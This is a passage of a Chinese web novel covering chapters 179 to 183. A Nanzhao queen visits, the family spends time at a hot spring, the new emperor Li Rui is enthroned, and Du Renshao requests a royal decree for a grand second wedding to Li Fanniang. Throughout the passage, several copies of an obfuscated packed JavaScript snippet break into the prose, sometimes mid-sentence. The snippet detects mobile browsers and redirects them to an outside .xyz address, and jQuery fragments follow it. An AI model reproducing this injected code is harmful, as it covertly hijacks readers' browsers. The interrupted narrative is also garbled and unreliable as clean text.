李梵娘看着玉萝依偎在母亲怀里的幸福模样,心中也涌起一股暖流。 安抚好女儿,王后整理仪容,在玉萝的搀扶下,走向太子李睿等人。 “南诏王后蒙莎,见过太子殿下!”王后欠身行礼。 “王后娘娘一路辛苦了,父皇特命本宫在此恭迎凤驾。”李睿连忙还礼,笑了笑,“娘娘请!” “有劳太子殿下。”王后颔首致谢。 随后,她的目光转向李梵娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“夫人,”王后再次举起酒杯,向李梵娘敬酒,“玉萝能有现在的变化,都是夫人教导的好,蒙莎…真不知道该如何向你表示感谢。” 第一百七十九章 温泉庄 “娘娘客气了。”李梵娘也举起杯,“玉萝这小丫头天资聪明伶俐,又肯用功,过不了多久,必成大器,说不定还能超过我这个师傅,这也是南诏的福气” “是啊。”王后感慨的看着女儿,“国主常说,夫人是南诏的贵人。这次来,国主特意叮嘱我,给你带来一份薄礼,聊表心意。” 她让随从拿上来一个紫檀木盒。 打开盒子,里面并不是金银珠宝绫罗绸缎,而是一卷有些年份的兽皮卷轴,以及几株用玉盒保存完好的草药。 “这是我们南诏王室的《古巫药典》残卷,”王后看着李梵娘,“虽然内容有些残缺,不是很全,但里面记载了许多南疆特有的草药和古老的疗伤解毒的方子。” “国主言,夫人医术造化极高,这个东西在夫人手里,能发挥更大价值,另外几株草药,是南诏神山特有的‘九转还魂草’和‘冰心雪莲’,药性比较奇特,一并赠与夫人研究。” 李梵娘心头一震,这礼物也太贵重了吧,这不仅仅是药材,也是南诏王室传承的东西,或者说是信仰。 “娘娘,这个礼物太贵重了,我实在是不方便收下啊。”李梵娘连忙推辞。 “夫人就不要推辞了,”王后言语恳切,“若不是夫人,我们南诏王室早就被人毒害**,区区一本不全的方子和草药,何足挂齿?” “只希望夫人能从中学到很多有用的东西,惠及黎民百姓,这也是国主和我的心愿。” 李梵娘看着王后真诚的眼神,又看了看卷轴和奇珍异草,最后点点头:“既然这样的话…那我就厚着脸皮收下了,我一定不负国主与娘娘的期望。” 南诏王后在镇国公府小住了三日。 这三日,她看了女儿在教**局怎么学习和生活。 在周院正的安排下,王后也参观了讲堂、实验室、病房和药材库。 她看到这里的学员之间的和谐氛围、玉萝认真学习的模样以及所有人对自家女儿的照顾。 尤其是一次课上,玉萝落落大方地回答几种草药的辨别方法,她自信从容。 王后看着这样的女儿,眼睛有些发酸。 这哪里还是当年那个在深宫哭着要自己抱的小公主? 她已经变得沉着冷静,甚至能治病救人的医者了。 “夫人…您…您把玉萝教得太好了!”王后紧紧握着李梵娘的手,声音哽咽,“蒙莎…看的高兴啊。” “是玉萝自己争气。”李梵娘微笑着说,“娘娘放心,玉萝在我这里,会得到最好的培养和照顾。” 王后离开前,再次向李梵娘和杜仁绍表达了谢意,并邀请他们日后一定要去南诏做客。 玉萝虽然有些不舍,但知道母后必须回去了,也懂事地没有哭闹,只是抱着母后不愿意松手。 送走王后,镇国公府恢复了往日的宁静。 “终于…可以去温泉庄子了!”李梵娘伸了个懒腰,靠在杜仁绍肩上,声音里满是期待。 这些日子虽然高兴,但也确实有些累人。 “嗯。”杜仁绍揽着她,眼里满是笑意,“明日一早就出发。就我们一家,还有玉萝。” “好!”李梵娘点头,太好了,终于能去放风了。 翌日清晨,阳光明媚。 两辆马车驶离京城,向着京郊的温泉庄子走去。 春儿和玉萝挤在一辆马车上,叽叽喳喳说个不停。 春儿兴奋地给玉萝讲上次温泉有多好玩多舒服,玉萝则绘声绘色地描述着南诏神山上的温泉瀑布和猴子,逗得春儿咯咯直笑。 李梵娘和杜仁绍坐在另一辆马车里,听着两个小家伙嘴就没停过,相视一笑。 庄子的仆人们早就得到消息,将庄子内外打扫干净,备好了新鲜的食材和换洗衣物。 等他们到了庄子后,稍作休息,便直奔后院温泉池。 氤氲的热气,熏人的硫磺味儿,和上次来时一样。 春儿熟门熟路地拉着玉萝跑向浅水池,脱掉外衣就跳了进去,溅起一片水花。 “哇!好暖和!好舒服!”玉萝学着春儿的样子,用脚丫拍着水花。 李梵娘和杜仁绍则泡在主池中。 温热的泉水包裹着身体,驱散连日来的疲惫。 李梵娘舒服地喟叹一声,靠在池壁上,闭着眼。 杜仁绍坐在她身边,看着她的侧脸,水汽蒸腾中,她的肌肤泛着红晕,睫毛上挂着水珠。 他心中一动,伸手将她揽进怀里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385116|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “累坏了吧?” “还好。”李梵娘靠在他的胸膛上,听着他的心跳,只觉得安心。 “嗯。”杜仁绍低头,下巴轻轻蹭着她的发顶,“以后…每常来。就我们一家人。” “好。”李梵娘笑了笑。 “爹!娘!看我们两个!”春儿挥着手朝这边喊,她和玉萝用浮板搭了个小船,两人坐在上面玩得嘴就没合拢过。 “小心点!”李梵娘看着两人,笑着叮嘱。 “知道啦!”两个小姑娘乖乖点头。 杜仁绍看着妻女,心里一片暖洋洋。 他拿起旁边备好的酒,倒了两杯,递给李梵娘:“尝尝?早就让人温上了,庄子里自己酿的梅子酒。” 李梵娘接过,喝了一小口,酸酸甜甜,带着梅子的香气,也不辣。 “好喝。”她眼睛一亮,像她没穿来时爱喝的青梅汁。 “梵娘,”杜仁绍的声音在她耳边响起,“等开春,我们去江南散心的话,你想先去哪里看看?” “嗯…”李梵娘想了想,“先去苏杭吧?听说那里风景最美。” “然后…去金陵看看吧,还有…扬州,春儿不是一直念叨着扬州的瘦西湖吗?” “好。”杜仁绍点头,“都听你的。” “爹!娘!你们在说什么悄悄话?”春儿跑了过来。 “在说…明年春天,带你去江南玩。”李梵娘笑道。 “真的吗?太好了!”春儿一听这话,兴奋不已。 “江南可漂亮了!有好多好吃的!还有大船!”春儿兴奋地向玉萝描述。 “我有机会也要去看看!”玉萝对那里也很是向往。 夜幕降临,繁星点点。一家人围坐在暖阁里,吃着晚餐。 “娘,我听说,江南有会唱歌的鸟!”春儿奶声奶气地说。 “对!叫**!声音可好听了!”玉萝补充道。 “那…春儿也要听!”春儿拍着小手。 “好!到时候娘带你去听!”李梵娘笑着应道。 杜仁绍看着一大两小,无奈的笑了笑,他举起酒杯:“来,为我们一家人,干杯!” “干杯!”四人举杯。 温泉庄子的时光过得飞快。 第一百八十章 新皇继位 三日悠闲仿佛只是眨眼之间。 杜仁绍放下了军务繁忙,李梵娘暂离了教**局的琐事,两人仿佛回到了在云州的简单时光,只是身边多了两个可爱的“小尾巴”。 然而,这份宁静在第四日清晨被急促的马蹄声打破。 “国公爷,夫人,京城八百里加急!”王猛手持一封盖着皇室火漆的密信,快步闯入庄子,神色凝重。 杜仁绍接过信,迅速拆开,目光扫过,脸色瞬间变得肃穆。 “怎么了?”李梵娘察觉到他的异样,轻声问道。 杜仁绍将信递给她,声音低沉:“陛下…下旨,三日后,于太极殿举行大典,正式传位于太子李睿,命我等即刻回京,参加继位大典!” 传位? 李梵娘心头一震。 虽然知道皇帝李恒身体一直不太好,早有让太子监国之意,但没想到传位来得如此突然。 一旁的玉萝也听到了,脸上露出一丝惊讶和担忧。 她虽久居南诏,年龄尚小,但也知大胤皇帝更替乃是国之大事。 “收拾东西,即刻回京!”杜仁绍当机立断。 作为镇国公,军权在握,新皇继位,他必须在场,以示支持和忠诚,更关乎朝局稳定。 众人变得忙碌起来,仆从们迅速行动起来,收拾行装。 李梵娘和杜仁绍也换上了正式的常服。 “玉萝,春儿,”李梵娘蹲下身,看着两个小姑娘,“京城有很重要的事情,我们要立刻回去。温泉庄子,我们下次再来,好不好?” 春儿有些舍不得,小嘴微微嘟起,但还是乖巧地点点头:“嗯,春儿听话。” 玉萝则显得懂事很多,她拉住李梵娘的手:“师父,是皇帝陛下要传位给太子殿下吗?玉萝明白的,这是大事!玉萝跟师父回去!” “好孩子。”李梵娘欣慰地摸摸她的头。 马车早已备好。 杜仁绍翻身上马,亲自在前开路。 李梵娘带着玉萝和春儿坐上马车。 马车迅速驶离温泉庄子,向着京城方向疾驰而去。 一路无话。 就连玉萝和春儿,也感受到了不同寻常的气氛,安静地靠在李梵娘身边。 回到镇国公府时,已经是傍晚。 府内灯火通明,张贵在接到消息时就开始行动,一切安排妥当。 “夫人,您和公主、小姐先歇息。宫里来了旨,明日卯时,国公爷需要入宫参与大典筹备。” “夫人您也需要按品级大妆,辰时入宫,参与命妇朝贺。”张贵详细的说了一遍所有的事宜。 “知道了。”李梵娘点头,“玉萝,春儿,你们先跟张大娘回房休息。明日…玉萝,你随我一同入宫。” “是,师父!”玉萝眼中闪过一丝紧张,但更多的是郑重。 她知道,作为南诏公主,又是李梵娘的弟子,这种场合,她必须出席,代表着南诏的态度和对新皇的尊敬。 杜仁绍则去了书房,召见麾下将领,安排明日玄甲军的布防和仪仗事宜。 新皇继位,安保工作是重中之重,绝不能出任何差错。 这一夜,镇国公府无人安眠。 李梵娘仔细检查了明日要穿的诰命大妆和头面首饰。 玉萝也试穿了南诏公主的正式着装,显得有些紧张不安。 李梵娘耐心安抚她,教导她一些南诏的基本宫廷礼仪。 翌日,天还未亮。 街道用清水冲刷干净,禁军沿主要街道警戒。 卯时,杜仁绍入宫,前往太极殿参与大典前最后的筹备会议。 辰时,李梵娘也装扮停当。 一品护国圣手医仙的诰命服复杂庄重,气度非凡。 玉萝则穿着一身南诏特色的锦绣宫装,显得娇俏又不失公主的威仪。 师徒二人都收拾好,赶忙去了宫里。 皇宫里戒备森严。 文武百官都按各自的品级排列在太极殿前的广场上站好,命妇及女眷都被安排站在两侧的的廊庑下面。 各国使臣也都在指定的观礼区域等着大典开始。 李梵娘和玉萝刚一来,就吸引了周围的目光。 这位悬壶济世,前途无量的医仙娘娘,看着就冷静从容,周身的气质更是让她在众多命妇中显得很是不同。 “医仙娘娘万福!” “公主殿下金安!” 李梵娘笑着颔首点头,拉着玉萝,在宫女的领路下,来到指定位置站好。 她的位置,甚至超越了很多妃子贵人,仅次于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385117|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王妃。 玉萝紧紧跟在师父身边,拳头攥紧,手心紧张的冒汗。 她努力保持公主的仪态,好奇地打量着周围,她其实挺好奇其他国家的皇帝继位是什么样的。 吉时已到。 “陛下驾到——!” “太子殿下驾到——!” 所有人都屏住了呼吸。 在百官、命妇、使节们的注视下,太子李睿扶着皇帝,缓缓走向龙椅。 皇帝的脸色略显苍白,走的有些慢,但眼神依旧锐利,带着属于帝王的威严。 李睿身姿挺拔,面容沉静,眼里有激动和凝重,紧张的搀扶着自家父亲。 御座前,皇帝停下脚步,转过身,目光扫过下方黑压压的人群。 广场上一片寂静,落针可闻。 “众卿平身。”皇帝的声音带着疲惫。 “谢陛下!” 皇帝坐下,太子站在一旁。 大典是由礼部尚书主持的,仪式开始。 当礼部尚书开始读传位诏书,肯定太子李睿仁孝英明、足以继任皇位时,李睿上前一步,跪着接过诏书和玉玺。 “儿臣…谨遵父皇圣谕!定当勤勉克己,夙夜匪懈,以慰父皇之望,以安天下之心!” “好!好!”皇帝脸上露出欣慰的笑,亲手将象征皇权的玉玺交到李睿手里。 这个儿子,他放心,会是个好皇帝的。 以后,他就是皇帝了,自己也得享享清福去喽。 “新皇即位!百官朝贺!” “吾皇万岁万岁万万岁!” “万岁万岁万万岁!” 文武百官、宗室亲贵、各国使节、命妇女眷,齐齐跪拜下去。 李梵娘也随着众人跪下祝贺,心里难免颇有感慨。 她亲眼见证了一个时代的更迭,见证了一个帝王的诞生。 李睿是她和杜仁绍并肩作战的战友,他的能力,让她对这个国家的未来充满希望,他的品性,会是个好皇帝。 玉萝也赶紧跟着跪下,脸上满是肃穆。 高台上,李睿,不,现在应该称新皇李睿,接过玉玺,转身面向众人,接受众人的朝拜。 他目光扫过下方,在杜仁绍和李梵娘的方向停顿了一下,眼里满是感激。 第一百八十一章 尘埃落地 “众卿平身!” 新皇的声音传开。 “谢陛下!” 接下来,是新皇颁布登基后的第一道恩旨:大赦天下(除十恶不赦者),减免赋税,犒赏三军,封赏有功之臣。 杜仁绍作为镇国公,军功卓著,赏赐无数。 李梵娘作为护国圣手医仙,编纂《大胤医典》,功在千秋,赐丹书铁券,享双俸,她的医学传承,定为皇室钦定。 封赏宣读完毕,又是新一轮的谢恩。 整个大典持续了近两个小时。 李梵娘:有一种在现代领导讲话的感觉。 大典结束后,新皇在太极殿设宴,款待百官和各国使臣。 宴席上,气氛轻松了不少。 新皇李睿首先举杯,敬太上皇安康,感谢父皇信任与托付。 接着,又依次敬了文武百官、宗室亲贵和各国使节。 轮到杜仁绍和李梵娘时,李睿特意走下来,来到他们面前。 “镇国公,护国医仙,”李睿的声音带着真诚,“朕能顺利继位,离不开二位卿家的大力支持与帮助,北境抗击疫情,编写我国医学著作,医治百姓……二位是朕的大功臣,朕敬二位一杯!” “陛下言重了!”杜仁绍和李梵娘连忙起身,举杯回敬。 “此乃臣等分内之事,恭贺陛下继位,愿陛下龙体安康,愿大胤国运昌隆。” “愿大胤国运昌隆!”百官跟着附和。 宴席间,各国使节也纷纷向新皇道贺,表达两国友好之意。 气氛和谐。 李梵娘注意到,太上皇退位后,精神似乎比之前好了不少,脸上带着卸下重担后的笑,与几位老臣谈笑风生。 或许,放下江山,对他而言,真的是一种解脱。 玉萝乖巧地坐在李梵娘身边,小口吃着点心,好奇地看着周围的一切。 她看到新皇对师父和师公那么尊重,看到百官对师父的尊重,心中对师父的崇拜又加深了几分。 宴席持续到下午才散。 新皇还要处理后续政务,百官和使节们陆续离开。 李梵娘带着玉萝,走出太极殿,正好遇到等在外面的杜仁绍。 “累了吧?”杜仁绍走上前,拉着李梵娘的手。 一天下来,穿着这身十几斤的衣服,确实不轻松。 “还好。”李梵娘微微一笑,“看到新皇顺利继位,心里踏实。” “嗯。”杜仁绍点头,“新皇仁心仁义,关心百姓,又有太上皇的扶持,未来一定是一片光明。” 三人乘马车回府。 马车里,气氛轻松了许多。 “师父,新皇陛下好像很敬重您和师公。”玉萝小声说道。 “陛下是明君,知人善任。”李梵娘温和的解释,“我们只需做好分内之事,尽忠职守便好。” 回到镇国公府,卸下头饰,李梵娘只觉得浑身轻松。 张大娘早就备好了热水和饭菜。 泡了个热水澡,换上常服,一家人围坐在一起吃饭,聊着今日大典的见闻。 “总算…告一段落了。”李梵娘舒了口气。 “嗯。”杜仁绍给她夹了一筷子菜,“接下来,可以安心准备去江南的事了。” “江南!”春儿和玉萝眼睛同时亮了起来。 “对,江南。”李梵娘笑着看着两个小姑娘,“等陛下忙过这阵子,朝堂稳定下来,我们就出发。” 正说着,张贵又走了进来,脸上带着笑:“国公爷,夫人,宫里有赏赐下来了。是新皇陛下和太上皇特意送来的,说是…给夫人和公主补偿,没让二位温泉泡的尽兴。” 李梵娘:这皇帝,会来事儿。 只见太监们抬进来几个大箱子,里面是各色值钱的绸缎、药材、首饰、把玩之物,甚至还有几坛御酒和精致的点心。 “陛下和太上皇有心了。”李梵娘哭笑不得。 “都登记入库吧。”她吩咐张贵,“那几样点心和时新果子,拿出来大家分分。御酒…留着年节再喝。” “是,夫人。”张贵笑呵呵的应着,指挥仆役们将东西抬下去。 镇国公府内又重新恢复了往日的宁静。 接连经历了宫妃过敏、医典庆典、新皇继位这几件大事,李梵娘和杜仁绍都感到一丝疲惫,也更加珍惜这难得的平淡时光。 接下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391005|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的日子,仿佛被温水浸过一般。 杜仁绍依旧每天按时去京畿大营处理军务,但都会准时回府陪着李梵娘用晚膳。 李梵娘则将教**局的日常事务更多地交给周院正和刘二柱打理,自己则花更多时间陪春儿和玉萝。 春日暖阳下,李梵娘会带着两个小姑娘在花园里荡秋千,辨认花草,教她们一些简单的草药知识。 玉萝学得认真,春儿则多半是凑热闹,咯咯的笑着。 午后,李梵娘常在书房看书或处理一些必要的教**局的事情,玉萝安静地在一旁临摹穴位图或背诵药性赋,遇到不懂的便小声请教她,生怕打扰到她。 春儿窝在她身边的软垫上,抱着布娃娃,听着母亲和玉萝探讨医术,不知不觉就睡着了。 阳光透过窗棂,洒在一大两小三个身影上,岁月静好,莫过于此。 杜仁绍回府后,时常能看到这样温馨的画面。 他放轻脚步,不忍心去打扰。 有时候,他会接过李梵娘手里的笔,帮她批阅那些枯燥的文书。 有时,他会抱起睡着的春儿,轻轻送回卧室。 有时,他会帮忙考玉萝的功课,虽然不通医理,但也能看得出她的进步。 晚膳是最热闹的时候。 餐桌上没有那“食不言”的规矩,春儿叽叽喳喳地说着白天的有趣的事,玉萝给众人讲着南诏的故事,李梵娘笑着听着,不时给她们夹菜。 杜仁绍虽然话不多,但看着他们开心的模样,眉眼总会变得格外柔和。 这日晚膳后,春儿被张大娘带去洗澡,玉萝也乖巧地回房温**功课。 只剩下李梵娘和杜仁绍两人,烛火摇曳,茶香袅袅。 杜仁绍没有像往常一样直接去书房处理公务,而是坐在李梵娘身边,握住她的手。 他手心粗糙,带着常年握刀习武留下的薄茧。 “梵娘,”他低声开口,“这些日子…辛苦你了。” 李梵娘微微一怔,侧头看他:“怎么突然说这个?” 杜仁绍的目光深邃,带着愧疚和疼惜,细细描摹着她的眉眼:“就是觉得…跟了我,让你受累了。” 第一百八十二章 霸道 他轻轻摩挲着她的手背。 “想起刚刚成亲那会儿…在杜家村,我跑去从军,你和春儿吃苦受罪,担惊受怕。到后来来了京城,又是云州疫情,宫里的事情,北境的瘟疫…就没过几天安生日子。” “连当初成婚…都是草草了事,一顶小轿抬进门,什么都没给你…” 李梵娘没想到他会突然说起这个,心里难免有些酸涩。 她反手握住他的手,轻轻摇头:“说什么傻话。那些都是我自己选的路。能救人性命,能做自己想做的事,能和你还有春儿在一起,我从不觉得苦。至于婚礼…” 她笑了笑,“形式而已,我不在乎。” “我在乎。”杜仁绍皱眉,满眼的不同意。 “别人有的,我的梵娘必须有。别人没有的,我的梵娘也要有。” 他看着她,目光灼灼:“当年我重生归来,一心只想着复仇,想着保护你们,想着改变命运。” “却独独忘了,该给你一个风风光光的婚礼,该向全天下宣告,你李梵娘,是我杜仁绍三媒六聘、明媒正娶的结发妻子。” 李梵娘看着他认真的模样,心跳不由自主地加快:“仁绍,你…” “梵娘,”杜仁绍紧紧握着她的手,“我想补给你一场婚礼。一场配得上你‘护国圣手医仙’身份的婚礼。” “一场让全天下人都知道,我杜仁绍有多幸运,上辈子砸烂多少个木鱼,才能娶到你这么好的妻子。我想…向陛下请旨赐婚!” “请旨赐婚?”李梵娘愣住了。 他们孩子都这么大了,还要请旨赐婚? 这…这未免也太… 不着调了吧? “对!请旨赐婚!”杜仁绍眼神坚定,“我要让所有人都知道,你是我杜仁绍此生唯一的妻,是我镇国公府名正言顺、无可替代的女主人。” 李梵娘一时间竟不知该说什么好,感动、羞涩、无奈、还有隐隐的期待…各种情绪交织在一起。 “都…都老夫老妻了…还折腾这个做什么…”她脸颊微热,低下头,声音细若蚊蚋。 “不是折腾。”杜仁绍抬起她的下巴,迫使她看着自己,眼神温柔。 “是我杜仁绍欠你李梵娘的,梵娘,答应我,好吗?” 李梵娘的心软得一塌糊涂,轻轻点了点头,声音哽咽:“好…都听你的。” 杜仁绍心里狂喜,猛地将她拥入怀中,仿佛要将她揉进骨血里。 “谢谢你,梵娘。” 杜仁绍的行动力向来惊人。 翌日下朝后,他便径直去了御书房求见皇帝。 御书房内,李睿正在批阅奏章,听闻杜仁绍求见,立刻宣进来。 “臣,杜仁绍,参见陛下!”杜仁绍躬身行礼。 “镇国公不必多礼。”李睿放下笔,笑的温和,“国公今日前来,所为何事啊?” 杜仁绍站直身体,有些紧张:“陛下,臣…有一个不情之请,恳请陛下恩准!” “哦?”李睿有些好奇,“国公但说无妨。” 杜仁绍深吸一口气,“臣恳请陛下…为臣与内子李梵娘,赐婚!” “赐婚?”李睿愣住了,随即失笑。 “国公,你与夫人早已成婚多年,春儿都那么大了,这…现在赐婚?”他以为是杜仁绍说错了词。 “陛下容禀!”杜仁绍语气恳切,眼里满是愧疚。 “臣与内子成婚……当时臣远在河西军中,家里……多有怠慢。内子入门时,只有一顶小轿,连像样的婚礼都没有。” “后来…与内子历经风雨。内子用医术救驾、蛊虫、疫病、编撰医书,救死扶伤,活人无数,功在社稷,对臣更是有救命之恩。” “臣每每思及旧事,心里就深感愧疚。梵娘嫁给我杜仁绍,没享一日清福,反受累无数。臣…亏欠她太多了。如今时局稳定,臣斗胆,想弥补当年遗憾。” “恳请陛下赐婚,允臣以国公之礼,风风光光,明媒正娶,重新迎娶李梵娘过门!告祭太庙,公告天下!” “让天下人都知道,她李梵娘是臣杜仁绍三书六礼、陛下亲旨赐婚、堂堂正正迎进门的妻子!是镇国公府唯一的女主人!臣…求陛下成全!” 御书房内一片寂静。 李睿看着杜仁绍,难免有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391006|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感慨, 此刻为了弥补对发妻的亏欠,如今卑微地和自己求赐婚,心中深受触动。 他早就知道杜仁绍与李梵娘感情深厚,却不知背后还有这般往事。 想到李梵娘为大胤、为皇室所做的一切,想到她那份宠辱不惊、淡泊名利的胸怀,李睿觉得,杜仁绍这个请求,非但不突兀,反而显得情深义重。 “好!”李睿猛地一拍桌案,龙颜大悦,“好一个镇国公!好一个情深义重!此乃佳话!朕准了!” 他站起身,走到杜仁绍面前,亲自扶起他:“国公与夫人,乃我大胤的福星,更是伉俪情深的典范,当年婚事简陋,确实遗憾。” “今日,朕便下旨,为你二人赐婚!命钦天监择选吉日,以亲王的待遇,风光大办,所有需求,由内务府出!朕要亲自为你二人主婚!” “臣!谢陛下隆恩!”杜仁绍激动不已,再次谢恩。 圣旨很快便下达了。 皇帝亲自下旨,为杜仁绍和李梵娘赐婚,盛赞二人功绩与情深,命礼部和钦天监合力操办,以最高规格筹备婚礼,择吉日举行,皇帝亲自主婚。 这道圣旨瞬间在京城引起了轰动。 “赐婚?镇国公和医仙娘娘不是早就成亲了吗?” “这你就不懂了吧!听说当年夫人嫁过去的时候可委屈了…” “国公爷这是要弥补夫人呢!” “天啊!陛下亲自主婚!亲王规格,这可是天大的恩宠啊!” “医仙娘娘当得起!国公爷也是有情有义!” 百姓们议论纷纷,无不羡慕称赞,将这视为一段佳话。 镇国公府内,更是忙碌起来。 礼部的官员、宫里的太监、绣坊的绣娘更是忙的脚打后脑勺,恨不得一个人掰成两半用。 量体裁衣,设计首饰,规划流程…每一项都很严谨仔细。 李梵娘看着众人忙活起来,看着杜仁绍事事亲力亲为、眼里有光的样子,心中那点不好意思也化为了甜蜜和期待。 哪个女子不曾幻想过凤冠霞帔、风光大嫁呢? 这份心意,尤为珍贵。 第一百八十三章 成亲进行时 玉萝和春儿更是兴奋不已。 玉萝帮着师父挑选衣料花样,春儿则围着那些漂亮的首饰打转。 “师父!这个凤冠好漂亮!上面有好多珍珠和宝石!”玉萝惊叹。 “娘亲穿红衣服最好看!”春儿奶声奶气地说。 钦天监选定的吉日在三个月后,时间充裕。 杜仁绍力求完美,每一个细节都亲自过手,他要给李梵娘一场独一无二的婚礼。 这日,宫里送来了婚礼用的吉服。 正红色的缂丝嫁衣,用金线绣着龙凤呈祥图案,袖口和裙摆处缀着珍珠,与之相配的凤冠更是精美绝伦,点翠、珍珠、宝石… 用李梵娘自己的话来说,就是恨不得把各种值钱玩意儿顶在头上,好看是好看,就是太沉,这要是放在现代,估计出门就被抢了。 李梵娘在侍女们的帮助下,试穿嫁衣。 当那一身红披上身时,镜中的女子眉目如画,气质清雅中更添一份明艳逼人的贵气与娇媚,连她自己都有些认不出了。 “夫人…真美…”侍女们纷纷惊叹。 杜仁绍走进来时,看到的便是这样一幕。 他的脚步瞬间顿住,直直的看着李梵娘,眼里满是惊艳、痴迷和浓得化不开的深情。 他一步步走上前,挥退侍女,亲自为她整理了一下凤冠的流苏,声音低沉:“梵娘…你真美…” 李梵娘抬起头,对上他炽热的目光,脸颊绯红,心跳如鼓。 “仁绍…”她轻声唤道。 杜仁绍握住她的手,单膝跪地,仰头望着她,一字一句。 “李梵娘,我杜仁绍,以天地为证,以陛下的圣旨为媒,再问你一次。” “你可愿嫁我为妻?此生此世,唯你一人,白首不离,生死相随!” 李梵娘看着他,泪水瞬间模糊了视线。 她用力点头,声音哽咽,“我愿意。杜仁绍,我愿意嫁给你。此生此世,唯你一人,白首不离,生死相随!” 红妆之下,誓言重若千钧。 就在婚礼紧锣密鼓地筹备时,教**局那边却传来一个令人哭笑不得的消息。 由于那本医书的刊行和医仙娘娘即将大婚的消息传开,各地前来京城,希望拜入教**局学医或是求医问药的年轻人与患者数量激增。 教**局和附属的惠民医馆快要人满为患了,堪比菜市场抢鸡蛋的大妈。 周院正忙的焦头烂额,不得不前来请示:“夫人,这…这可如何是好?” 李梵娘听到教**局的情况,不禁莞尔。 这倒是个“甜蜜的烦恼”。 “周老莫急。”她神色从容,“正好借这个机会,推行我早就想好的‘分级诊疗’与‘异地教学’的做法。” 她快速说着自己的思路,“第一,立刻在教**局外张贴告示,明确招收学员的标准和流程,没有经过考核推荐的人,暂不收录。” “第二,在京城东西南北四个城,选四个地方,设立‘教**局义诊点’,让资深的教**轮流坐诊,分流轻症患者,重症疑难者再转往这里的总局。” “第三,拟一份章程,上奏陛下,请求各州府遴选优秀的医者,由教**局派遣医者,进行短期的集中培训,结业后回原籍开设‘教**分局’,惠及地方。” “如此一来,既解了急,又可以长远的推广。” 周院正闻言,茅塞顿开,激动得连连拍手:“妙!妙啊!夫人这个计策,一举多得,老夫这就去办,绝不让这些小事儿扰了夫**婚!”他匆匆行礼,脚步都轻快了不少。 李梵娘看着周院正跑的差点儿摔倒,无奈的摇了摇头。 事业与家庭,她都得兼顾。 哎~谁让她这么优秀呢? 三个月的时间过得飞快,一眨眼就到了成亲当天。 这一天,整个京城,从镇国公府到皇宫太极殿的道路两旁,挂满了红绸灯笼,洒满了花瓣。 百姓们早早挤在街上,想要一睹二人成婚的盛况。 镇国公府内,更是喜庆的不得了。 李梵娘凌晨便被叫醒,沐浴、开脸、梳妆。 数十名全福嬷嬷和宫中派来的梳妆女官围着她忙。 大红的嫁衣,华丽的凤冠戴好,珠翠环绕,脂粉薄施。 镜中的女子,眉如远山,目含秋水,唇若点朱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391007|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在大红嫁衣的映衬下,平日里的清雅疏离消失不见。 反倒美得惊心动魄,美得令人窒息。 “娘亲好漂亮!像仙女一样!”春儿穿着粉色的新衣,围着李梵娘打转,小脸上满是骄傲。 